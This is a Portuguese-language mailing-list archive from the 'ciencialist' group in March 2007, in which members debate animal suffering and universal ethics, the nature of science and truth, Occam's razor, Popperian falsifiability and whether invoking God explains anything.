> >pensando em sua "dor"? E Streptococcus, que causam pneumonia?
> >
> >E animais selvagens, devemos destruir todas as cidades, para que
> >possam voltar a habitar seus ambientes originais?
> >
> >E ratos, devemos impedir que sejam mortos nas cidades, pensando em sua
> >"dor"?
> >
> >Se eu tiver uma infecção de pele, devo evitar de aplicar remédios que
> >causem a morte dos micro-organismos que habitam ali? Se pegar
> >lombrigas, não posso tomar remédios que causem dor e morte a elas? As
> >pessoas que vivem em áreas da África assoladas por doenças como
> >elefantíase, não podem aplicar as drogas que matam as moscas
> >transmissoras?
> >
> >Por favor, não é uma pergunta retórica ou uma armadilha, eu realmente
> >quero saber como pretende aplicar sua alegação a casos concretos, já
> >que não há nela nenhuma limitação ou forma de decidir a linha de
"corte".
> >
> >Se considerarmos a dor de TODOS os seres vivos, independentemente de
> >qualquer outra coisa, espécie ou capacidade intelectual, como devo
> >agir nos casos concretos que citei?
> >
> >Um abraço.
> >
> >Homero
> >
> >
> >--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
> ><brunacribas@> escreveu
> > >
> > > A ética universal está na razão de darmos a mesma a consideração ao
> >sofrimento de outros seres como damos ao nosso próprio sofrimento,
> > > independente da espécie, do sexo e das habilidades intelectuais.
> > >
> > > Abraços,
> > >
> > > da Bruna
> > >
> > >
> > > José Renato <jrma@> escreveu:
> >Chicão, sou-lhe grato pela troca de idéias. Mas vale perguntar: como
> >vamos
> > > achar a ética universal se não a procurarmos? Parece-me que a
> >questão está
> > > muito menos em encontrá-la, do que na força necessária para
> >considerá-la e
> > > praticá-la. Estamos esgotados por tantas solicitações que não nos
> >sobra
> > > energia para sermos o que dizemos ser: homo sapiens-sapiens.
> > > []s
> > > José Renato
> > > .............................................
> > >
> > > From: "Chicao Valadares" <chicaovaladares@To:
> > > <ciencialist@yahoogrupos.com.br>
> > > Sent: Monday, March 12, 2007 12:07 PM
> > > Subject: Re: Fw: [ciencialist] Crueldade com animais
> > >
> > > > JR vou parar por aqui. Enquanto não acharmos a ética
> > > > universal vamos ficar apenas nos achismos e no plano
> > > > da retórica. Foi proveitosa toda essa polêmica. Essa
> > > > história de escolha lembra aquele velho dilema entre
> > > > determinismo e acaso. Mas isso fica pra um outro
> > > > debate....
> > > >
> > > > Abraços.
> > > >
> > > > --- José Renato <jrma@> escreveu:
> > > >
> > > >> Olá, Chicão! Essa é uma questão de escolha... A
> > > >> nossa vida é construída,
> > > >> destruída ou mantida por permanentes escolhas que
> > > >> fazemos e pelas decisões
> > > >> que tomamos. Encontrar as melhores decisões e
> > > >> escolhas para cada situação é
> > > >> a pedra de toque que os sábios buscam há tempos.
> > > >> Como elas são praticamente
> > > >> infinitas alguns roteiros básicos são copilados para
> > > >> orientações gerais. Mas
> > > >> no particular, cada um vai ter de optar, escolher e
> > > >> decidir. Ou deixar que
> > > >> decidam por nós.
> > > >> Faço outros comentários no corpo do e-mail, após
> > > >> JR2, OK?
> > > >> ..............................................
> > > >> From: "Chicao Valadares" <chicaovaladares@To:
> > > >> <ciencialist@yahoogrupos.com.br>
> > > >> Sent: Thursday, March 08, 2007 4:22 PM
> > > >> Subject: Re: Fw: [ciencialist] Crueldade com animais
> > > >>
> > > >>
> > > >> > JR, minhas respostas seguem depois do ">>>>>".
> > > >> >
> > > >> > JR1 - Dor e prazer são sinais sensíveis relativos.
> > > >> O
> > > >> > atleta sofre muito durante a preparação para bater
> > > >> > seus recordes com a intenção de ter o prazer de
> > > >> > possuir uma medalha de ouro, seu nome nos anais,
> > > >> > valorização,
> > > >> > admiração, etc. Dor e prazer não são indicativos
> > > >> > absolutos. Muitas vezes o prazer de comer uma
> > > >> caixa de
> > > >> > chocolate acaba mal. Esse equilíbrio nas atitudes
> > > >> já
> > > >> > era perseguido por Sócrates com muito empenho.
> > > >> Perceba
> > > >> >
> > > >> > que buscar a felicidade, a glória e o gozo é o
> > > >> > objetivo maior e legítimo do ser humano. As
> > > >> > dificuldades ocorrem quando minha visão é curta e
> > > >> > atropelo tudo que de bom possuo para obter isso. A
> > > >> > troca é prejudicial a
> > > >> > mim e a todos que uso ou despacho para obter a
> > > >> > felicidade a qualquer custo. Vou postar uma
> > > >> reflexão
> > > >> > que fiz sobre isso, provocada há tempos
> > > >> > pelo Bulcão, na lista Acropolis.
> > > >> >
> > > >> >>>>>>Concordo com a relatividade.
> > > >> >
> > > >> >
> > > >> > JR1 - Mas quando o ser humano toma consciência de
> > > >> sua
> > > >> > existência passa a buscar viver de verdade, ter um
> > > >> amor de
> > > >> > verdade, ser feliz de verdade... Ilusões distraem
> > > >> e confortam
> > > >> > durante algum tempo. Mas o bom mesmo é
> > > >> > a realidade com todas as sua conseqüências.
> > > >> >
> > > >> >>>>>>O que é verdade??? A realidade é boa porque dá
> > > >> > prazer??? Eu posso na MATRIX fazer com que voce
> > > >> saiba mais
> > > >> > verdades que uma pessoa comum. Com isso você
> > > >> pensaria
> > > >> > que conhece a realidade e seria bom para você.
> > > >> > Não gostaria de entrar na MATRIX???
> > > >> JR2 - Parece que o que faço o tempo todo é tentar
> > > >> sair dela, da geléia geral
> > > >> em que estamos vivendo, da ilusão manipulada pelos
> > > >> meios de comunicação
> > > >> acionados pelos interesses comerciais e políticos.
> > > >> Viver na realidade ou na
> > > >> verdade dá mais segurança, harmonia,
> > > >> tranquilidade... O melhor em tudo é não
> > > >> confundir o imaginado e o sonhado com a Realidade. É
> > > >> isso que a Ciência
> > > >> busca.
> > > >> >
> > > >> > JR1 - Viver de mentirinha é o que já faço de
> > > >> diversas
> > > >> > maneiras e em diversas ocasiões. Mas os meus
> > > >> melhores
> > > >> > momentos da vida vieram através da realidade e da
> > > >> > lucidez em percebê-la. Nela me realizo.
> > > >> >
> > > >> >>>>>>Não gostaria de entrar na MATRIX???
> > > >> JR2 - De algum modo já estamos nela. O que procuro é
> > > >> sair dela.
> > > >> >
> > > >> > JR1 - É o que todos os "espertos e sabidórios"
> > > >> > fazem... Quanto a não
> > > >> > ser punido ou não sentir remorsos não é uma
> > > >> certeza
> > > >> > obtida de antemão.
> > > >> > Quando menos se espera vem a tal crise existencial
> > > >> e
> > > >> > aí o cara se
> > > >> > constata um merda, mentiroso, falso, safado, lixo,
> > > >> > traidor, etc. e nem sabe
> > > >> > mais quem ele é de fato no meio de tanta falsidade
> > > >> e
> > > >> > mentira.
> > > >> >
> > > >> >>>>>>Todas as pessoas não são assim. Existem
> > > >> aquelas
> > > >> > que não sentem nenhum remorso em fazer ações
> > > >> > consideradas más.
> > > >> JR2 - Alguns sentimentos são inatos. Prejudicar
> > > >> conscientemente alguém gera
> > > >> no fundo uma reflexão tipo "e se ele fizesse isso
> > > >> para mim" que vai geram um
> > > >> sentimento semelhante ao que chamamos de remorso. Em
> > > >> estudos dos diversos
> > > >> órgãos ou componentes do nosso sistema cognitivo
> > > >> identifica-se regiões onde
> > > >> estão os "bancos de dados" e procedimentos de
> > > >> avaliação ética-moral. Célebre
> > > >> é o caso do trabalhador que sofreu dano no célebro
> > > >> provocado por um prego
> > > >> disparado por uma pistola pneumática. Penetrou na
> > > >> cabeça, mas ele continuou
> > > >> consciente e aparentemente não prejudicou em nada
> > > >> seus movimentos e
> > > >> atividades intelectuais. Após a remoção do prego,
> > > >> recuperação e volta ao
> > > >> trabalho, observou-se que o cara estava com um
> > > >> comportamento diferente,
> > > >> aético, entrão, imoral, inconveniente... A partir
> > > >> daí começou-se a fazer
> > > >> testes mais acurados sobre o funcionamento dessa
> > > >> região afetada e de outras
> > > >> regiões do cérebro.
> > > >> >
> > > >> > JR1 - Prejudicar, sacanear ou fazer mal a alguém
> > > >> pode
> > > >> > dar algum prazer, algum tipo de emoção forte. Os
> > > >> > cruéis patológicos têm orgasmos ao praticar
> > > >> violência,
> > > >> > mas é um distúrbio mental que não me parece grande
> > > >> > coisa desejar possuir. Quanto à vontade de usar
> > > >> minha
> > > >> > experiência de vida para discernir o que é melhor,
> > > >> o
> > > >> > que deve ser evitado e o que precisa ser superado,
> > > >> é
> > > >> > um exercício diário que requer tempo, coragem e
> > > >> > reflexão. Cometer os mesmos erros ou o erro dos
> > > >> outros
> > > >> > burrice em dobro. Prefiro tentar algo diferente e
> > > >> que tenha
> > > >> > alguma chance de obter melhores resultados...
> > > >> >
> > > >> >>>>>> E os cruéis não patológicos??? O resto que
> > > >> você
> > > >> > disse é relativo.
> > > >> JR2 - Em sã consciência somos capazes das maiores
> > > >> crueldades e das maiores
> > > >> generosidades. Ilude-se quem acha que não é capaz de
> > > >> fazer alguma ignomínia.
> > > >> Basta estar na situação adequada para praticá-la. E
> > > >> como sempre consideramos
> > > >> algum ponto de referência pode estar certo que não
> > > >> só o resto como tudo o
> > > >> mais é relativo a esse ponto. Em geral, procura-se
> > > >> um ponto ótimo
> > > >> inatingível como referência ou norte.
> > > >> >
> > > >> > JR1 - Mas, Chicão, não é esse objetivo que nos
> > > >> ilude
> > > >> > desde sempre? O crime perfeito! E cada vez mais se
> > > >> > sofistica as formas burlar, de modo a ser à prova
> > > >> de
> > > >> > qualquer investigação, até que alguém de dentro do
> > > >> > esquema se sente enganado e, antes de ser
> > > >> eliminado,
> > > >> > denuncia(RJ) ou mesmo o burlador se rende à
> > > >> > verdade(NSN) ou por vaidade abre o bico(SN,ACM).
> > > >> >
> > > >> >>>>>> Isso também não poderá acontecer e as coisas
> > > >> > ficarem sob segredo.
> > > >> > Você disse que ser bom era mais vantajoso. Devemos
> > > >> ser
> > > >> > bons porque é mais vantajoso??? Isso depende. Ser
> > > >> mau
> > > >> > também pode ser vantajoso ao invés de ser bom.
> > > >> Note
> > > >> > que o príncipio aqui é o do ganho(teoria dos
> > > >> jogos).
> > > >> > Então ambos são duas faces de uma mesma moeda. Por
> > > >> > esse principio você é igual às siglas. [ ... ]
> > > >> JR2 - É o jogo do ganha-ganha... É mais vantajoso a
> > > >> longo prazo quando todos
> > > >> ganham, e essa possibilidade deve ser considerada e
> > > >> buscada permanentemente.
> > > >> No perde-ganha vc não vive em paz. Alguém vai querer
> > > >> tirar o que vc já
> > > >> ganhou prejudicando ou não prejudicando outras
> > > >> pessoas. Esse é o normal na
> > > >> maioria das nossas comunidades.
.


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SUBJECT: Re: Sobre o Método Cientifico (e os cambau)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 12:42

Olá Chicão!

Minha intenção com as respostas a seguir é colaborar
com a sua investigação. Serei objetivo. Se quiser que
eu me explique melhor em alguma resposta, é só me
dizer qual, ok? Prossigamos...

Chicão >>> 1) O que é ciência ??

--- Ciência é o resultado do "fazer ciencia".
--- O que é fazer ciencia? Fazer ciencia é: mapear
processos repetitivos.
--- Que processos? Qualquer um que possa ser
observado.
--- Pra que serve fazer ciencia? Uma vez que os
processos repetitivos são repetitivos, o conhecimento
cientifico se torna uma garantia de sucesso para se
lidar com as repetições futuras.

Chicão >>> 2) O que é verdade ??

--- Verdade é o que está sempre sendo, menos a forma
como vc concebe o que está sempre sendo. Ou seja, é o
território, é a vida.

Chicão >>> 3) Quais verdades podemos conhecer??

--- O consciente humano só pode conhecer os mapas da
verdade. Todos os mapas são da mesma verdade. O que
diferencia "uma verdade" de "outra verdade", não é a
verdade, mas o mapa que a descreve. Conhecer é mapear.
E mapear é um processo involuntário do cérebro: mapear
é pensar. Assim, tudo que vc puder pensar a respeito
da verdade, é um mapa da verdade.

--- Contudo, vc também é parte inseparável da verdade,
do território, e, sendo assim, vc "sabe" a verdade
diretamente, sem mapas, pois a verdade também é vc,
mas ao pensar sobre esta verdade que vc é, vira mapa
também: eu.


Chicão >>> O método cientifico é completo e único?

--- O método cientifico é o único método cientifico.
Hehehehehe... Creio que o importante aqui é vc
investigar primeiro: o que é fazer ciencia?

Chicão >>> ii) A navalha de Ocam é uma lei ou uma boa
prática??

--- No universo, a função de fazer leis, é com deus. O
método cientifico faz teorias. Toda teoria pode levar
a mais ou menos sucesso. é este custo beneficio entre
teoria e sucesso que diz se a teoria é boa ou não.

Chicão >>> Existe método melhor que o outro e ainda o
"ocam´s razor" pode ser aplicado pra definir o melhor
método??

--- melhor é comparação. logo é relativo. repito:
melhor sempre depende, neste caso, do custo x
beneficio.

Chicão >>> Se a navalha de ocam é apenas uma boa
prática, então ela não serve para afirmar o que é
verdadeiro no sentido ontológico da palavra. Algo mais
complexo pode ser a verdadeira causa do fenômeno.

--- o que vc está procurando não é o verdadeiro
ontológico, mas o verdadeiro equivalente. o verdadeiro
equivalente se descobre colocando a teoria em pratica.
por exemplo:

Teoria: colocar a mão no fogo = queimar a mão
Com-prova-ção: coloquei a mão no fogo e queimou
Conclusão: equivalência verdadeira

Chicão >>> Teorias não falseáveis são usadas como
verdades científicas pela comunidade científica.

--- Hehehehe... uma teoria de equivalência verdadeira
só não pode ser falsa quando a equivalencia for falsa
também. e como faz pra saber se a aquivalencia é falsa
ou verdadeira? como disse acima: botando a
equivalencia a prova

Chicão >>> Estou quase acreditando no pastor da Igreja
perto de casa :p.

--- Acreditar não lhe trará ganho nenhum, mas se
recusar a ouvir também não. Escute e investigue o que
o pastor fala assim como escuta e investiga o que os
cientistas falam, cada um defende o seu mapa, mas o
que importa pra vc não é o mapa deles, é o seu próprio
mapa, pois é este que vc usa instante após instante
para andar pelo território.


abçomano
ferrari





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SUBJECT: Re: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 12:45

Olá Takata!

Vou responder seus questionamentos abaixo, mas quero
antes chamar sua atenção para fazer uma sintonia muito
importante nesta conversa: eu não estou falando sobre
religião, estou falando sobre deus, é diferente. Vc
está projetando em mim sua concepção de deus, que, ao
meu ver, parece uma concepção católica. Não estou
falando de deus sob o paradigma católico, estou
falando de deus de verdade, o deus que é o que é, sem
paradigma nenhum. O deus sem o qual esta nossa
conversa não estaria acontecendo, por exemplo. Dito
isto, vamos aos seus questionamentos:

takata >>> O q impede de se questionar "por q deus
existe?"

--- Nada impede. Aliás, deve-se. Aliás, é só isto que
a ciencia faz. Aliás, se a ciencia faz isto é porque é
da vontade de deus.

takata >>> O q impede de se questionar "por q deus
criou o mundo?"

--- Nada impede. Aliás, deve-se. Aliás, é só isto que
a ciencia faz. Aliás, se a ciencia faz isto é porque é
da vontade de deus.

takata >>> O q impede de se questionar "por q não
existe outro tipo de deus?"

--- Nada impede. Aliás, deve-se. Aliás, é só isto que
a ciencia faz. Aliás, se a ciencia faz isto é porque é
da vontade de deus.

takata >>> O q impede de se questionar "por q não
haveria um deus q criou deus?"?

--- Nada impede. Aliás, deve-se. Aliás, é só isto que
a ciencia faz. Aliás, se a ciencia faz isto é porque é
da vontade de deus.

takata >>> não apenas nada impede - a não ser um
critério arbitrário (como o medo de se questionar
essas coisas, a satisfação pessoal de encontrar a
resposta em deus e não precisar prosseguir além disso
ou a aceitação da autoridade eclesiástica de q é um
pecado continuar em frente - e coisas parecidas.

--- takata, meu irmão de barco, aqui fica claro sua
associação de deus ao catolicismo. não recrimino nem
acolho sua crença, eu o compreendo. e compreendendo
lhe digo, o importante aqui é manter uma postura de
observação desta associação é notar como ela está
ligado também a questões emocionais. isto vai te
ajudar primeiro como ser humano, e, consequentemente
como cientista, pois o cientista é uma conseqüência da
sua existência humana.

takata >>> Ou seja, prefiro continuar no emprego q tem
me pagado bem e com regularidade do q mudar...

--- bem, segundo a teoria cientifica de ação e
conseqüência, quem percorre sempre o mesmo caminho
chega sempre ao mesmo lugar. se vc está satisfeito em
chegar sempre no mesmo lugar, por que mudar? Mas se vc
quiser mudar de caminho para chegar em outro lugar,
saiba que nada lhe impede também.


abçomano
ferrari




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SUBJECT: Re: Sobre o Método Cientifico - ad infinitum
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 13:25

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...>
> importante nesta conversa: eu não estou falando sobre
> religião, estou falando sobre deus, é diferente.

Vale para *qualquer* deus ou conjunto de deuses.

> --- Nada impede. Aliás, deve-se. Aliás, é só isto que
> a ciencia faz. Aliás, se a ciencia faz isto é porque é
> da vontade de deus.

A ciência *não* faz isso. Eqto fez isso não avançou um milímetro. Qdo
abandonou esse tipo de questionamento e passou a investigar de modo
mais objetivo é q começamos a ter progressos. (Não estou dizendo q a
ciência prova q deus não existe, apenas q ela só tem avançado qdo
desconsidera deus e se atém aos mecanismos naturais.)

> takata >>> Ou seja, prefiro continuar no emprego q tem
> me pagado bem e com regularidade do q mudar...
>
> --- bem, segundo a teoria cientifica de ação e
> conseqüência, quem percorre sempre o mesmo caminho
> chega sempre ao mesmo lugar. se vc está satisfeito em
> chegar sempre no mesmo lugar, por que mudar?

Sim ao mm lugar: "Novasdescobertaslândia". E é isso q eu quero.
Realmente não há porq - no meu ponto de vista - mudar o destino "Novas
descobertaslândia" para um destino q historicamente tem sido "Velha
Porquedeusquisassimócia", "Istoeummisterioinsondável do Oeste"... Eqto
os relâmpagos foram as lanças de Zeus, foram lanças de Zeus. Qdo
passou a ser uma descarga elétrica - entre outros pelos trabalhos de
Benjamin Franklin - passamos a ter meios de proteção contra os raios,
sistema de previsão de descargas.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico (e os cambau)
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 14:03

Ferrari, com algumas exceções tenho a impressão que
suas colocações são muito "ad hoc" e sem embasamento.
Peço que dá proxima vez seja mais cuidadoso nestes
pontos.

[]´s

--- Ferrari <emailferrari@yahoo.com.br> escreveu:

> Olá Chicão!
>
> Minha intenção com as respostas a seguir é colaborar
> com a sua investigação. Serei objetivo. Se quiser
> que
> eu me explique melhor em alguma resposta, é só me
> dizer qual, ok? Prossigamos...
>
> Chicão >>> 1) O que é ciência ??
>
> --- Ciência é o resultado do "fazer ciencia".
> --- O que é fazer ciencia? Fazer ciencia é: mapear
> processos repetitivos.
> --- Que processos? Qualquer um que possa ser
> observado.
> --- Pra que serve fazer ciencia? Uma vez que os
> processos repetitivos são repetitivos, o
> conhecimento
> cientifico se torna uma garantia de sucesso para se
> lidar com as repetições futuras.
>
> Chicão >>> 2) O que é verdade ??
>
> --- Verdade é o que está sempre sendo, menos a forma
> como vc concebe o que está sempre sendo. Ou seja, é
> o
> território, é a vida.
>
> Chicão >>> 3) Quais verdades podemos conhecer??
>
> --- O consciente humano só pode conhecer os mapas da
> verdade. Todos os mapas são da mesma verdade. O que
> diferencia "uma verdade" de "outra verdade", não é a
> verdade, mas o mapa que a descreve. Conhecer é
> mapear.
> E mapear é um processo involuntário do cérebro:
> mapear
> é pensar. Assim, tudo que vc puder pensar a respeito
> da verdade, é um mapa da verdade.
>
> --- Contudo, vc também é parte inseparável da
> verdade,
> do território, e, sendo assim, vc "sabe" a verdade
> diretamente, sem mapas, pois a verdade também é vc,
> mas ao pensar sobre esta verdade que vc é, vira mapa
> também: eu.
>
>
> Chicão >>> O método cientifico é completo e único?
>
> --- O método cientifico é o único método cientifico.
> Hehehehehe... Creio que o importante aqui é vc
> investigar primeiro: o que é fazer ciencia?
>
> Chicão >>> ii) A navalha de Ocam é uma lei ou uma
> boa
> prática??
>
> --- No universo, a função de fazer leis, é com deus.
> O
> método cientifico faz teorias. Toda teoria pode
> levar
> a mais ou menos sucesso. é este custo beneficio
> entre
> teoria e sucesso que diz se a teoria é boa ou não.
>
> Chicão >>> Existe método melhor que o outro e ainda
> o
> "ocam´s razor" pode ser aplicado pra definir o
> melhor
> método??
>
> --- melhor é comparação. logo é relativo. repito:
> melhor sempre depende, neste caso, do custo x
> beneficio.
>
> Chicão >>> Se a navalha de ocam é apenas uma boa
> prática, então ela não serve para afirmar o que é
> verdadeiro no sentido ontológico da palavra. Algo
> mais
> complexo pode ser a verdadeira causa do fenômeno.
>
> --- o que vc está procurando não é o verdadeiro
> ontológico, mas o verdadeiro equivalente. o
> verdadeiro
> equivalente se descobre colocando a teoria em
> pratica.
> por exemplo:
>
> Teoria: colocar a mão no fogo = queimar a mão
> Com-prova-ção: coloquei a mão no fogo e queimou
> Conclusão: equivalência verdadeira
>
> Chicão >>> Teorias não falseáveis são usadas como
> verdades científicas pela comunidade científica.
>
> --- Hehehehe... uma teoria de equivalência
> verdadeira
> só não pode ser falsa quando a equivalencia for
> falsa
> também. e como faz pra saber se a aquivalencia é
> falsa
> ou verdadeira? como disse acima: botando a
> equivalencia a prova
>
> Chicão >>> Estou quase acreditando no pastor da
> Igreja
> perto de casa :p.
>
> --- Acreditar não lhe trará ganho nenhum, mas se
> recusar a ouvir também não. Escute e investigue o
> que
> o pastor fala assim como escuta e investiga o que os
> cientistas falam, cada um defende o seu mapa, mas o
> que importa pra vc não é o mapa deles, é o seu
> próprio
> mapa, pois é este que vc usa instante após instante
> para andar pelo território.
>
>
> abçomano
> ferrari
>
>
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SUBJECT: P/ Ferrari - : Sobre o Método Cientifico - ad infinitum
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 19/03/2007 14:44

Olá Ferrari

Ferrari: "--- Nada impede. Aliás, deve-se. Aliás, é só isto que
a ciencia faz. Aliás, se a ciencia faz isto é porque é
da vontade de deus."

Todas suas respostas são identicas..:-) Mas, tente substituir o termo "deus" por "monstro espagute voador" ou por "Papai Noel" ou por "ETs extradimensionais superpoderosos", ou por "duendes e fadas" e perceberá o absurdo que elas representam.

Como em:

--- Nada impede. Aliás, deve-se. Aliás, é só isto que
a ciencia faz. Aliás, se a ciencia faz isto é porque é
da vontade dos duendes e fadas.

Fala sério..:-) Séculos de filosofia e teologia, para terminar com uma bobagem dessas como argumento, Ferrari? Nada do argumento Teleológico (teleOlógico, não teológico, ok?), nada de grandes elocubrações, nada, apenas um "apelo a fé" dos mais ingenuos e sem sentido?

Acho que pode fazer melhor.

"É assim, porque deus quer que seja" é mais tola e simplória fuga lógica que a teologia permite, Ferrari. Não é uma explicação, é uma irracionalidade, uma desculpa para a ignorância. Não há nenhuma evidência a sustentar essa alegação, nenhuma evidência de que deus "queira" algo, ou mesmo que exista. Vale tanto quanto "é assim, porque o Ferrari quer". Não há nenhuma maneira de determinar isso, se é o Ferrari que quer, porque até se eu fizer algo que você "alega" não querer, podemos dizer que é isso que você quer, que eu faça algo contra o que você "alega" não querer..:-)

O que o Takata argumentou não tem nada a ver com essa fuga, aliás. Foi colocado, pelo Chicão, que, se continuar a perguntar o "porque" para a ciência, ela "quebra as pernas" pois vai ter de parar em algum momento sem resposta. Mas o Takata demnstrou que isso não é um argumento válido, pois é uma condição de toda procura por respostas, até a que "alega" ter a resposta final, como você neste caso: é assim porque deus quer, ou é assim porque a explicação final é deus.

Mas, não é..:-) É possível continuar a série infindável de perguntas "por que" como, porque deus existe. Quem criou deus. Porque quem criou deus existe e quem criou quem criou deus.

Se "parar" em qualquer momento, com uma 'explicação" sem base alguma, como "deus não foi criado, é auto-criado" e outras fugas, podemos considerar que é uma explicação pertinente também para o universo, e podemos "parar" nele antes de considerar a existência de deus: o universo é auto-criado, não precisa que seja criado por ninguém.

Erros de lógica, erros de compreensão, enganos, falácias diversas, e muita arrogância (sou especial, filho dileto de um ser supremo que me criou e que tem desejos e intenções para comigo) são a causa de suas respostas sem pé nem cabeça.

Pense, o que responde uma frase como essa: "é assim por que deus quis"? Nada, nadica de nada..:-)

Um abraço.

Homero


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 15:21

--- Oraculo <oraculo@atibaia.com.br> escreveu:
> Olá Chicão
>
> Suas indagações vão acabar servidno de fonte para um
> livro (ou mais) sobre ciência, filosofia,
> racionalidade, etc..:-) É divertido, mas dá um
> trabalho responder a isso tudo..:-)

Você ainda não viu nada!!

E eu estava querendo colocar Alan Turing e Kurt Godel
no meio dessa discussão mas deixei prá lá pra evitar a
fadiga. :p

Mas como eu posso definir uma boa teoria??? Qual a
condição necessária e suficiente para uma teoria ser
considerada científica???

Depois dessa, vou parar brevemente por aqui de fazer
perguntas sobre o método. Preciso organizar todas as
idéias que voces repassaram. Estou atrás também do
livro de Chalmers.
Voces deixaram algumas questões em aberto. Já que eu
não vou fazer perguntas por enquanto, voces deveriam
tentar responde-las.
Elas seguem abaixo. []´s

->Questões que voces da lista deixaram em aberto(O
->conjunto 4 foi respondida por Ferrari mas sem
->embasamento em alguns pontos):

-------------------------1------------------------

--- Oraculo <oraculo@atibaia. com.br> escreveu:

>Chicão: "Fazer tal afirmação não é logicamente
>equivalente a
>fazer a alegação de que existe um ser metafísico
>influenciando meu cerébro ??. "
>Aqui está um tanto enganado. Um ser metafísico tem
>intenção, vontade própria e não pode ser >incluído na
>teoria de forma objetiva ou racional. Os Id, ego e
>super-ego podem. São descrições >de fenomenos, não
>entidades autonomas. Drogas, como o LSD, podem
>provocar alucinações de >duendes, afetando processos
>neurológicos do cérebro.

Ids e superegos excessivos tambem criam seus anjos e
demonios :p. Sendo assim como saber??
Note que você está falando de neuroquímica e eu nem
cheguei lá.
-------------------------------------------------------

--------------------------2---------------------------
--- rmtakata <roberto.takata@ bol.com.br> escreveu:
>Digamos q o id/supergo e o gnomo na cabeça façam
>predições
>verificáveis sobre o comportamento humano. O
>id/superego é tão somente
>uma subestrutura funcional da mente, já o gnomo exige
>uma entidade
>distinta da mente - o gnomo é muito mais complicado
>(tem olhos,
>braços, pernas, precisamos elaborar o modo como ele
>entrou em nossa
>mente e como a influencia, etc).

Certo mas do ponto de vista lógico não dá pra dizer se
é o id/superego ou os duendes. Nada impede a priori de
se ter algo mais complexo como o causador do fenômeno.
Isso é algo sutil de se perceber.
--------------------------------------------------------


--------------------------3---------------------------
Voces conseguiriam me mostrar um exemplo real de
aplicação de cada paradigma cientifico(Popper,
Lakatos, Kuhn, etc...) nas teorias que se tem
conhecimento por aí mostrando a similaridade da
formação das hipoteses de cada teoria cientifica em
concordancia com
cada paradigma ??
Eu acredito que isso enriqueceria o conhecimento dos
participantes da lista.
--------------------------------------------------------

---------------------------4-------------------------
1) O que é ciência ??
2) O que é verdade ???
3) Quais verdades podemos conhecer??

Variantes/consequê ncias dos três itens acima:
i) O método cientifico é completo e unico??
ii) A navalha de Ocam é uma lei ou uma boa prática??
iii) Existe método melhor que o outro e ainda o
"ocam´s razor" pode ser aplicado pra definir o melhor
método ??

Variantes/consequê ncias das Variantes/consequê ncias:

i) Se a navalha de ocam é apenas uma boa prática,
então ela não serve para afirmar o que é verdadeiro no
sentido ontológico da palavra. Algo mais complexo pode
ser a verdadeira causa do fenômeno.
ii) Teorias não falseáveis são usadas como verdades
científicas pela comunidade científica.
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SUBJECT: Re: Sobre o Método Cientifico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 15:48

--- Em ciencialist@yahoogrupos.com.br, Chicao Valadares
> Mas como eu posso definir uma boa teoria??? Qual a
> condição necessária e suficiente para uma teoria ser
> considerada científica???

Para Popper basta q seja refutável (mas, claro, não refutada). O termo
de uso mais geral é "falseável". Uma proposição, para ser científica,
deve poder ser mostrada falsa se uma dada condição ocorrer. Por
exemplo, a proposição "vai chover amanhã nesta cidade" é científica.
Pois se não chover, ela é falsa. A proposição "a água sempre ferve a
100oC" tb pode ser mostrada falsa, se, ao se aquecer a água, ela
ferver a uma temperatura diferente de 100oC. E, na verdade, a água
pode ferver a temperaturas diferentes (se a pressão local for maior ou
menor do q 1 atm, ou se houver substâncias dissolvidas na água) -
nesse caso não apenas a afirmação pode ser falsa, como ela de fato é
falsa, e desse modo é descartada.

Já a proposição "existem duendes indetectáveis no bolso de minha
calça" não pode ser mostrada falsa em nenhuma circunstância. Se eu
detectar duendes em meu bolso, não são os duendes de q falei. Se não
detecto duendes em meu bolso, não sei se é porq os duendes de fato não
são detectáveis ou se eles simplesmente não existem. (Recomendo a
leitura de "O mundo assombrado pelos demônios" de Carl Sagan.)

> Certo mas do ponto de vista lógico não dá pra dizer se
> é o id/superego ou os duendes. Nada impede a priori de
> se ter algo mais complexo como o causador do fenômeno.

Não é questão de impedimento aqui, mas sim de uma explicação simples
vs uma explicação complexa para entender o mm fenômeno.

----------
Em termos práticos, uma boa teoria é aquela q faz predições testáveis.
Se eu tenho um modelo climático ípsolon q prevê com acurácia em 90%
dos casos e outro modelo dábliu que prevê com acurácia em 95% dos
casos, eu preferiria o modelo dábliu. (Embora, em certas ocasiões
possa lançar mão do modelo ípsolon - por exemplo, se ele for mais
simples e 90% seja uma taxa aceitável de acerto. É o q ocorre por
exemplo com o modelo de gravitação newtoniana, q pode ser usada para
calcular trajetórias de foguetes, a despeito da gravitação einsteniana
ser muito mais acurada.)

[Então, de minha parte, se um modelo incorpora gnomos e com isso é
capaz de prever fenômenos naturais com uma precisão maior do q os
modelos científicos, eu direi: "dane-se a ciência como tal!".]

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Re: Sobre o Método Cientifico - ad infinitum
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 19/03/2007 15:54

Olá Takata!

Takata >>> Não estou dizendo q a ciência prova q deus
não existe, apenas q ela só tem avançado qdo
desconsidera deus e se atém aos mecanismos naturais.

--- Caro companheiro de barco, o que poderia a ciencia
provar se não existisse a existencia? Aliás, como
poderia existir "provador - prova - provado" se a
existencia não existisse? Vc fala em: "provar". Uma
vez perguntei aqui na lista:

--- o que é observar?
--- observar leva tempo? porque?

